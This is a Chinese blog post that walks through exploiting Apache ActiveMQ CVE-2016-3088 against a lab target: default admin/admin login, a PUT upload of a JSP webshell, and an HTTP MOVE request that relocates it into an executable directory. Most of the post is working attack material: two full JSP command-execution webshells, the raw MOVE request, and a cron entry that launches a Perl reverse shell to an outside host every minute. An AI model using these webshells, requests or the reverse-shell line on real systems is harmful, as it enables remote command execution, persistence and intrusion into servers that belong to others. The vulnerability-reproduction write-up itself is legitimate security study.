Apache ActiveMQ远程代码执行(CVE-2016-3088)

Apache ActiveMQ远程代码执行(CVE-2016-3088)

今年已经碰到三次ActiveMQ,但是都由于种种原因没有上传成功,最多就造成了一个存储XSS,昨天某地发生勒索然后去查看,结果碰到了以后人家已经把整个设备格式化了,害怕病毒深入他们内网(是个勒索emm),可惜他格式化以后还没有把服务搭建齐全,只能和人家说明这个危害了,记录一下吧。

一、漏洞详情

影响版本:Apache ActiveMQ 5.x~5.14.0

漏洞原理:ActiveMQ中存储文件的fileserver接口支持写入文件,但是没有执行权限。可以通过MOVE文件至其他可执行目录下,从而实现文件写入并访问。

ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

条件:

1.必须登录!

2.知道绝对路径

3.fileserver没有关,有上传权限

二、复现过程

环境搭建就直接用现成的靶场

图片

然后访问url+/admin

用admin/admin来登录

来抓fileserver路径的数据包

将传参改成PUT fileserver/xx.jsp

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

图片

204即上传成功!(此截图上传txt 查看是否可以成功,后面则是shell.jsp)

http://124.223.38.26:60511/fileserver/shell.jsp

图片

然后可以访问  /admin/test/systemProperties.jsp 去查看绝对路径

图片

然后构造数据包

MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:///xxx/webapps/api/shell.jsp
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjgyMjk2NzIyLCJlbWFpbCI6IiJ9.qhnBWLKHGJ1gH9UJ4PMSWtPYWFoes3OJ3mSXg5oK4J8
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 23 Apr 2023 01:18:44 GMT
Content-Length: 450

<%
        if("023".equals(request.getParameter("pwd"))){
                java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("<pre>");
                while((a=in.read(b))!=-1){
                        out.println(new String(b));
                }
                out.print("</pre>");
        }
%>

图片

访问http://xxxx/api/

图片

之前的马有问题 我替换了一下

图片

成功效果:

图片

后续:

       也可以生成jsp马用工具连接

我是直接定时反弹shell

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="xxxx";$p=666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

记得换行!

图片

 

图片

图片

图片

 

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容